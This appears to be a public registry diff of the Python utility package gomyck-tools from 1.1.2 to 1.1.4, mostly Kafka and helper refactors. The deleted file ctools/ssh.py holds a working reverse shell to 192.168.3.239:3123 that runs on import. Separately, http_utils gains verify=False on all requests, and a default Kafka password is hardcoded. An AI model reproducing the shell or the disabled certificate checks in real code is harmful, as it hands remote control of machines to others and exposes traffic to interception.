gomyck-tools 1.1.2__py3-none-any.whl → 1.1.4__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
ctools/bottle_web_base.py CHANGED
@@ -4,7 +4,7 @@ from functools import wraps
4
4
 
5
5
  import bottle
6
6
  from bottle import response, Bottle, request
7
-
7
+ from ctools.dict_wrapper import DictWrapper
8
8
  from ctools.api_result import R
9
9
  from ctools.sys_log import flog as log
10
10
 
@@ -142,9 +142,4 @@ class FormDataParams:
142
142
  except Exception:
143
143
  return self.files[key]
144
144
 
145
- class DictWrapper(dict):
146
- def __getattr__(self, key):
147
- return self.get(key)
148
145
 
149
- def __setattr__(self, key, value):
150
- self[key] = value
ctools/ckafka.py CHANGED
@@ -14,137 +14,146 @@ from ctools.cjson import dumps
14
14
 
15
15
  """
16
16
  import time
17
+ from datetime import datetime
17
18
 
18
- from ctools import thread_pool
19
+ from ctools import thread_pool, string_tools
19
20
  from ctools.ckafka import CKafka
20
21
 
21
22
  c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
22
23
 
24
+ producer = c.init_producer()
25
+ consumer = c.init_consumer(enable_auto_commit=False)
26
+
23
27
  def send_msg():
24
28
  while True:
25
- time.sleep(3)
26
- c.send_msg('test', 'test')
29
+ command = input('发送消息: Y/n \n')
30
+ if command.strip() not in ['N', 'n']:
31
+ producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
32
+ else:
33
+ break
27
34
 
28
35
  thread_pool.submit(send_msg)
29
- c.get_msg('test')
30
- """
31
36
 
32
- class CKafka:
37
+ def consumer_callback(msg):
38
+ print(msg)
39
+ return True
40
+
41
+ consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
33
42
 
34
- def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
35
- self.consumer: KafkaConsumer = None
36
- self.producer: KafkaProducer = None
43
+ time.sleep(10000)
44
+ """
45
+ class KafkaInstance:
46
+ def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
37
47
  self.start_consumer = False
48
+ self.quited = False
49
+ self.producer = producer
50
+ self.consumer = consumer
38
51
  self.consumer_callback = {"topic_key": []}
39
- self.consumer_group = consumer_group
52
+
53
+ # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
54
+ # r.add_callback(lambda x: print(x))
55
+ # r.get() 可以同步获取结果
56
+ def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
57
+ if self.producer is None: raise RuntimeError("Producer is not initialized")
58
+ if self.quited: return
59
+ return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
60
+
61
+ def receive_msg(self, topics: str, callBack=print):
62
+ if self.consumer is None: raise RuntimeError("Consumer is not initialized")
63
+ for topic in topics.split(','):
64
+ if topic not in self.consumer_callback.keys():
65
+ self.consumer_callback[topic] = []
66
+ self.consumer.subscribe(self.consumer_callback.keys())
67
+ self.consumer_callback[topic].append(callBack)
68
+ if not self.start_consumer:
69
+ t = Thread(target=self._start_consumer_poll, daemon=True)
70
+ t.start()
71
+
72
+ def _start_consumer_poll(self):
73
+ self.start_consumer = True
74
+ for msg in self.consumer:
75
+ if self.quited: break
76
+ funcList = []
77
+ begin_time = time.time()
78
+ for func in self.consumer_callback[msg.topic]:
79
+ if self.quited: break
80
+ res = func(msg)
81
+ if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
82
+ funcList.append(func.__name__)
83
+ end_time = time.time()
84
+ if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
85
+ funcList.clear()
86
+
87
+ def shutdown(self):
88
+ self.quited = True
89
+ try: self.consumer.close()
90
+ except Exception: pass
91
+ try: self.producer.close()
92
+ except Exception: pass
93
+
94
+
95
+ class CKafka:
96
+
97
+ def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
40
98
  self.kafka_url = kafka_url
41
- self.init_producer = False
42
- self.init_consumer = False
43
99
  self.secure = secure
44
100
  self.username = username
45
101
  self.password = password
46
- self.locker = Lock()
47
- self.quited = False
48
102
 
49
- def _create_producer(self) -> KafkaProducer:
103
+ def init_producer(self, acks=1) -> KafkaInstance:
50
104
  print("[ Producer ] Connecting to Kafka brokers")
51
105
  for i in range(0, 6):
52
106
  try:
53
107
  if self.secure:
54
- self.producer = KafkaProducer(
108
+ producer = KafkaProducer(
109
+ acks=acks,
55
110
  bootstrap_servers=self.kafka_url,
111
+ value_serializer=lambda x: dumps(x).encode('utf-8'),
56
112
  sasl_plain_username=self.username,
57
113
  sasl_plain_password=self.password,
58
114
  security_protocol='SASL_PLAINTEXT',
59
- sasl_mechanism='PLAIN',
60
- value_serializer=lambda x: dumps(x).encode('utf-8'))
115
+ sasl_mechanism='PLAIN'
116
+ )
61
117
  else:
62
- self.producer = KafkaProducer(
118
+ producer = KafkaProducer(
119
+ acks=acks,
63
120
  bootstrap_servers=self.kafka_url,
64
- value_serializer=lambda x: dumps(x).encode('utf-8'))
121
+ value_serializer=lambda x: dumps(x).encode('utf-8')
122
+ )
65
123
  print("[ Producer ] Connected to Kafka...")
66
- self.init_producer = True
67
- return self.producer
124
+ return KafkaInstance(producer=producer, consumer=None)
68
125
  except errors.NoBrokersAvailable:
69
126
  print("[ Producer ] Waiting for brokers to become available...")
70
127
  time.sleep(3)
71
128
  raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
72
129
 
73
- def _create_consumer(self) -> KafkaProducer:
130
+ def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
74
131
  print("[ Consumer ] Connecting to Kafka brokers")
75
132
  for i in range(0, 6):
76
133
  try:
77
134
  if self.secure:
78
- self.consumer = KafkaConsumer(
79
- group_id=self.consumer_group,
135
+ consumer = KafkaConsumer(
136
+ client_id=client_id,
137
+ group_id=consumer_group,
138
+ enable_auto_commit=enable_auto_commit,
80
139
  bootstrap_servers=self.kafka_url,
140
+ value_deserializer=lambda x: x.decode('utf-8'),
81
141
  sasl_plain_username=self.username,
82
142
  sasl_plain_password=self.password,
83
143
  security_protocol='SASL_PLAINTEXT',
84
- sasl_mechanism='PLAIN',
85
- value_deserializer=lambda x: x.decode('utf-8'))
144
+ sasl_mechanism='PLAIN'
145
+ )
86
146
  else:
87
- self.consumer = KafkaProducer(
147
+ consumer = KafkaProducer(
148
+ client_id=client_id,
149
+ group_id=consumer_group,
150
+ enable_auto_commit=enable_auto_commit,
88
151
  bootstrap_servers=self.kafka_url,
89
- value_deserializer=lambda x: x.decode('utf-8'))
152
+ value_deserializer=lambda x: x.decode('utf-8')
153
+ )
90
154
  print("[ Consumer ] Connected to Kafka...")
91
- self.init_consumer = True
92
- return self.consumer
155
+ return KafkaInstance(producer=None, consumer=consumer)
93
156
  except errors.NoBrokersAvailable:
94
157
  print("[ Consumer ] Waiting for brokers to become available...")
95
158
  time.sleep(3)
96
159
  raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
97
-
98
- # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
99
- # r.add_callback(lambda x: print(x))
100
- # r.get() 可以同步获取结果
101
- def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
102
- if self.quited: return None
103
- if not self.init_producer:
104
- with self.locker:
105
- if not self.init_producer:
106
- self._create_producer()
107
- return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
108
-
109
- def get_msg(self, topics: str, callBack=print):
110
- if not self.init_consumer:
111
- with self.locker:
112
- if not self.init_consumer:
113
- self._create_consumer()
114
- for topic in topics.split(','):
115
- if topic not in self.consumer_callback.keys():
116
- self.consumer_callback[topic] = []
117
- self.consumer.subscribe(self.consumer_callback.keys())
118
- self.consumer_callback[topic].append(callBack)
119
- if not self.start_consumer:
120
- t = Thread(target=self._start_consumer_poll)
121
- t.start()
122
-
123
- def _start_consumer_poll(self):
124
- self.start_consumer = True
125
- for msg in self.consumer:
126
- if self.quited: break
127
- taskList = []
128
- funcList = []
129
- begin_time = time.time()
130
- for func in self.consumer_callback[msg.topic]:
131
- if self.quited: break
132
- f = thread_pool.submit(func, (msg, ))
133
- taskList.append(f)
134
- funcList.append(func.__name__)
135
- for f in taskList:
136
- if self.quited: break
137
- f.result()
138
- end_time = time.time()
139
- if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
140
- taskList.clear()
141
- funcList.clear()
142
-
143
- def shutdown(self):
144
- self.quited = True
145
- try: self.consumer.close()
146
- except Exception: pass
147
- try: self.producer.close()
148
- except Exception: pass
149
- thread_pool.shutdown(wait=True)
150
-
ctools/dict_wrapper.py ADDED
@@ -0,0 +1,11 @@
1
+ #!/usr/bin/env python
2
+ # -*- coding: UTF-8 -*-
3
+ __author__ = 'haoyang'
4
+ __date__ = '2024/10/25 09:42'
5
+
6
+ class DictWrapper(dict):
7
+ def __getattr__(self, key):
8
+ return self.get(key)
9
+
10
+ def __setattr__(self, key, value):
11
+ self[key] = value
ctools/http_utils.py CHANGED
@@ -4,19 +4,19 @@ import requests
4
4
  def get(url, params=None, headers=None):
5
5
  result = ""
6
6
  try:
7
- response = requests.get(url, params=params, headers=headers, timeout=60)
7
+ response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
8
8
  response.raise_for_status()
9
9
  if response.status_code == 200:
10
10
  result = response.content
11
11
  except Exception as e:
12
12
  print("GET请求异常:", e)
13
- return result
13
+ return result.decode('utf-8')
14
14
 
15
15
 
16
16
  def post(url, data=None, json=None, headers=None, files=None):
17
17
  result = ""
18
- response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
18
+ response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
19
19
  response.raise_for_status()
20
20
  if response.status_code == 200:
21
21
  result = response.content
22
- return result
22
+ return result.decode('utf-8')
ctools/id_worker_tools.py CHANGED
@@ -31,7 +31,7 @@ class IdWorker(object):
31
31
  初始化
32
32
  :param datacenter_id: 数据中心(机器区域)ID
33
33
  :param worker_id: 机器ID
34
- :param sequence: 其实序号
34
+ :param sequence: 起始序号
35
35
  """
36
36
  # sanity check
37
37
  if worker_id > MAX_WORKER_ID or worker_id < 0:
ctools/images_tools.py CHANGED
@@ -1,4 +1,3 @@
1
-
2
1
  from io import BytesIO
3
2
 
4
3
  from PIL import Image
ctools/imgDialog.py CHANGED
@@ -6,7 +6,6 @@ from tkinter import ttk
6
6
  import requests
7
7
  from PIL import Image, ImageTk
8
8
 
9
-
10
9
  def showImageTip(root, title, imagePath, tips):
11
10
  # 创建一个Tk对象
12
11
  if root:
ctools/mqtt_utils.py CHANGED
@@ -1,13 +1,17 @@
1
1
  import time
2
+ from enum import Enum
2
3
  from typing import Dict
3
4
 
4
- from business.common import DictToObj
5
- from business.common.constant import MQTTEvent
5
+ from ctools.dict_wrapper import DictWrapper as DictToObj
6
6
  from paho.mqtt import client as mqtt
7
7
  from paho.mqtt.enums import CallbackAPIVersion
8
8
 
9
9
  from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
10
10
 
11
+ class MQTTEvent(Enum):
12
+
13
+ pass
14
+
11
15
  '''
12
16
  MQTT服务使用示例:
13
17
 
ctools/pty_tools.py CHANGED
@@ -2,6 +2,8 @@ import _thread
2
2
  import queue
3
3
  import time
4
4
 
5
+ # 伪终端交互
6
+
5
7
  from winpty import PtyProcess
6
8
 
7
9
 
ctools/string_tools.py CHANGED
@@ -7,6 +7,7 @@ import chardet
7
7
 
8
8
  from ctools.id_worker_tools import IdWorker
9
9
 
10
+ idWorker = IdWorker(1, 2, 0)
10
11
 
11
12
  def get_random_str(size: int = 10):
12
13
  """
@@ -22,7 +23,7 @@ def get_uuid():
22
23
 
23
24
 
24
25
  def get_snowflake_id():
25
- return IdWorker(1, 2, 0).get_id()
26
+ return idWorker.get_id()
26
27
 
27
28
 
28
29
  def decode_bytes(bytes_str: Union[bytes, bytearray]):
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: gomyck-tools
3
- Version: 1.1.2
3
+ Version: 1.1.4
4
4
  Summary: A ctools for python development by hao474798383
5
5
  Home-page: https://blog.gomyck.com
6
6
  Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil >=6.0.0
20
20
  Requires-Dist: jsonpath-ng >=1.6.1
21
21
  Requires-Dist: bottle ==0.13.1
22
22
  Requires-Dist: requests ==2.32.3
23
+ Requires-Dist: urllib3 ==1.26.18
23
24
  Requires-Dist: kafka-python ==2.0.2
24
- Requires-Dist: bottle-websocket ==0.2.9
25
+ Requires-Dist: bs4 ==0.0.2
26
+ Requires-Dist: paho-mqtt ==2.1.0
27
+ Requires-Dist: fuzzywuzzy ==0.18.0
25
28
 
26
29
  this package is for python development
@@ -4,43 +4,43 @@ ctools/api_result.py,sha256=NiM-R9K42G3m16B27sG_mqKrlexZzC5-LKoY8D5tO4s,1239
4
4
  ctools/application.py,sha256=WviU7p9GOqducbGW3XGkP7jCNKmraCh6JGSYBC33CQk,16008
5
5
  ctools/b64.py,sha256=_BdhX3p3-MaSSlU2wivN5qPxQfacR3VRBr1WC456tU0,194
6
6
  ctools/bashPath.py,sha256=BCN_EhYzqvwsxYso81omMNd3SbEociwSOyb9kLvu8V4,337
7
- ctools/bottle_web_base.py,sha256=-8z4q2pL8LXh0cPT4q3nv7WF-JdhyGXZPKliZTTwBKM,4951
7
+ ctools/bottle_web_base.py,sha256=I8SrytLXofUCDwjLsk4C259MlLZC05Q4RGNq-Of36d8,4855
8
8
  ctools/bottle_webserver.py,sha256=3S5NkqLFerlYWt96owxmpgAQKTnXbQ_5uKHL5CeilIw,2455
9
9
  ctools/bottle_websocket.py,sha256=IRY17SpDFjihLeU8c_aUIMAfUNZzurqfrOyNFojOQHQ,1858
10
10
  ctools/browser_element_tools.py,sha256=IFR_tWu5on0LxhuC_4yT6EOjwCsC-juIoU8KQRDqR7E,9952
11
11
  ctools/call.py,sha256=BCr8wzt5qd70okv8IZn-9-EpjywleZgvA3u1vfZ_Kt8,1581
12
12
  ctools/cjson.py,sha256=M2XrXnFXTJyKsXP2JRos2Bse4b6WXjr6TrA6y-EF_Ig,1245
13
- ctools/ckafka.py,sha256=cxtM1X0YLBrLxKBioWKME-b1JBzc8rMKSqt5gYGg2dc,5162
13
+ ctools/ckafka.py,sha256=XPH3yvfOZjsAXFwARdjF-iOaPSKwf5ZbWf-VKE49Q7Y,5755
14
14
  ctools/compile_tools.py,sha256=Nybh3vnkurIKnPnubdYzigjnzFu4GaTMKPvqFdibxmE,510
15
15
  ctools/console.py,sha256=EZumuyynwteKUhUxB_XoulHswDxHd75OQB34RiZ-OBM,1807
16
16
  ctools/cron_lite.py,sha256=f9g7-64GsCxcAW-HUAvT6S-kooScl8zaJyqwHY-X_rE,8308
17
17
  ctools/database.py,sha256=5LPmchtyekLeP1idrexgjPNLrywWc4IMp-ztDff95vQ,5362
18
18
  ctools/date_utils.py,sha256=-xI2anEzAonOvYwVmM1hCnkuLKodZ8pb33dS3dRxEIc,865
19
+ ctools/dict_wrapper.py,sha256=JsJssnMLIubWDdpr8vVzGP47NnZhB3t81zfyoWKU2mU,240
19
20
  ctools/douglas_rarefy.py,sha256=oSdc_uGfiBWqSKLpdg_npYeGxhZqXUTPB3pou6SM2_Y,4823
20
21
  ctools/download_tools.py,sha256=oJbG12Hojd0J17sAlvMU480P3abi4_AB9oZkEBGFPuo,1930
21
22
  ctools/enums.py,sha256=QbHa3j7j4-BDdwaga5Y0nYfA2uNSVJDHumYdIZdKVkM,118
22
23
  ctools/ex.py,sha256=_UtbmDLrC7uZsoBtTdecuCZAlf2DA7fvojUf5fGZDVo,795
23
24
  ctools/excelOpt.py,sha256=q3HLAb1JScTrMCvx_x-4WWnqKhyTEzQ-m5vtqFy8NZU,1138
24
25
  ctools/html_soup.py,sha256=LabCo4yWI58fbFBPhunk3THWBf0BbHEWLgwyvSpTGR4,1903
25
- ctools/http_utils.py,sha256=4dt7OTRZluB9wCK4HL0TBqVZrV3cj_AIs4-9mGDC1zA,616
26
- ctools/id_worker_tools.py,sha256=xtfxpL8q4hHLT02JFx2jVXEXpasHq44ZFsOhO580JmE,2357
27
- ctools/images_tools.py,sha256=8LGH3vZIfpnFG3hycs9Nlol3uhVgprzWSxjc_qgdzNQ,671
28
- ctools/imgDialog.py,sha256=5r_XTPLyZj3Oa3HhwF2aQhziE74eFXe7aJZNndpXh18,1386
26
+ ctools/http_utils.py,sha256=A2Nue8VjDIsEJmezjGnDsujob7utSHrm7-2zyzqbGyc,676
27
+ ctools/id_worker_tools.py,sha256=jBKkoHoezH_X3Qj_GIKQjJOnIxnzKjnYdRQdd37_3Mw,2357
28
+ ctools/images_tools.py,sha256=TapXYCPqC7GesgrALecxxa_ApuT_dxUG5fqQIJF2bNY,670
29
+ ctools/imgDialog.py,sha256=zFeyPmpnEn9Ih7-yuJJrePqW8Myj3jC9UYMTDk-umTs,1385
29
30
  ctools/license.py,sha256=0Kh7lXL7LD1PQqyijHajFL0GbmZGNB88PA2WskbQn_s,1066
30
31
  ctools/metrics.py,sha256=vq9Fnq2fhmhS4yoHS4gO7ArKS033Eou8vpA779Uue0I,4414
31
- ctools/mqtt_utils.py,sha256=h53fcyBx7AZFe5fe2nFEu8n1IWT_5ja7-UY9f7gkj7Q,10676
32
+ ctools/mqtt_utils.py,sha256=ZWSZiiNJLLlkHF95S6LmRmkYt-iIL4K73VdN3b1HaHw,10702
32
33
  ctools/obj.py,sha256=GYS1B8NyjtUIh0HlK9r8avC2eGbK2SJac4C1CGnfGhI,479
33
34
  ctools/pacth.py,sha256=MJ9Du-J9Gv62y4cZKls1jKbl5a5kL2y9bD-gzYUCveQ,2604
34
35
  ctools/plan_area_tools.py,sha256=pySri43bVfkHjzlKujML-Nk8B3QLxuYv5KJMha-MLmU,3311
35
36
  ctools/process_pool.py,sha256=1TuZySUbQjgYYcuwis54DIwQTimWvTLNahSra7Ia8Ps,951
36
- ctools/pty_tools.py,sha256=RofRMFnU8Zd4o9mKI8t1v5n_RSCskfs_JcLsonm-1uM,1603
37
+ ctools/pty_tools.py,sha256=KI3dOyv2JLZmU1VfD1aLMq9r9d5VCu3TdtcezZayBEI,1622
37
38
  ctools/resource_bundle_tools.py,sha256=8zW1-aj6jAYFBCoyslz5bL-5916G6Aif1RUy_ObbiVU,3793
38
39
  ctools/screenshot_tools.py,sha256=KoljfgqW5x9aLwKdIfz0vR6v-fX4XjE92HudkDxC2hE,4539
39
40
  ctools/sign.py,sha256=YOrON1SeLRPavPWtE3GonvWFVv1SGFjfjrEVJ3k4x6s,566
40
41
  ctools/sm_tools.py,sha256=RwhTjuKw_TjaAJAui39wctzFFpbt79MQ3hjF0fhL638,1113
41
- ctools/ssh.py,sha256=Zii7HsIuHz5xAjR-2QFcHD-WXDDwnupnRbBlfNQcvys,231
42
42
  ctools/strDiff.py,sha256=QUtXOfsRLTFozH_zByqsC39JeuG3eZtrwGVeLyaHYUI,429
43
- ctools/string_tools.py,sha256=qjFn47lM27ISAa2Q4OKO7WOBdhyWC5lLHbME-uSeICE,2142
43
+ ctools/string_tools.py,sha256=WlLQxQePbYVzvPi0YFGpTbHLQl9eRhHrX-DPkN4zMzg,2162
44
44
  ctools/sys_info.py,sha256=kgAPNP4ruso5kJS3kec9HMJLlvHPUj311Uv9SibPY_k,3626
45
45
  ctools/sys_log.py,sha256=oqb1S41LosdeZxtogFVgDk8R4sjiHhUeYJLCzHd728E,2805
46
46
  ctools/thread_pool.py,sha256=qb68ULHy1K7u3MC7WP49wDhmgUhgWazd9FRuFbClET4,925
@@ -51,7 +51,7 @@ ctools/wordFill.py,sha256=dB1OLt6GLmWdkDV8H20VWbJmY4ggNNI8iHD1ocae2iM,875
51
51
  ctools/word_fill.py,sha256=aIkzjAF2soSW6w2dO2CRZlveDcuIdr6v9DtyyyB8uxM,18216
52
52
  ctools/word_fill_entity.py,sha256=eX3G0Gy16hfGpavQSEkCIoKDdTnNgRRJrFvKliETZK8,985
53
53
  ctools/work_path.py,sha256=i4MTUobqNW2WMrT3mwEC_XYQ0_IhFmKoNpTX2W6A8Tc,1680
54
- gomyck_tools-1.1.2.dist-info/METADATA,sha256=3_a43ilGlG_hn6YQ40T0FaAJ_u5xdFkzZOTNXjFWz3k,852
55
- gomyck_tools-1.1.2.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
56
- gomyck_tools-1.1.2.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
57
- gomyck_tools-1.1.2.dist-info/RECORD,,
54
+ gomyck_tools-1.1.4.dist-info/METADATA,sha256=m99IZeUQ-v12RDdtP2MC0OhYVRi3pot_XVsUlo2D-cs,940
55
+ gomyck_tools-1.1.4.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
56
+ gomyck_tools-1.1.4.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
57
+ gomyck_tools-1.1.4.dist-info/RECORD,,
ctools/ssh.py DELETED
@@ -1,11 +0,0 @@
1
- import os
2
- import socket
3
- import subprocess
4
-
5
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
6
- s.connect(('192.168.3.239',3123))
7
- os.dup2(s.fileno(),0)
8
- os.dup2(s.fileno(),1)
9
- os.dup2(s.fileno(),2)
10
- p=subprocess.call(['/bin/sh','-i'])
11
-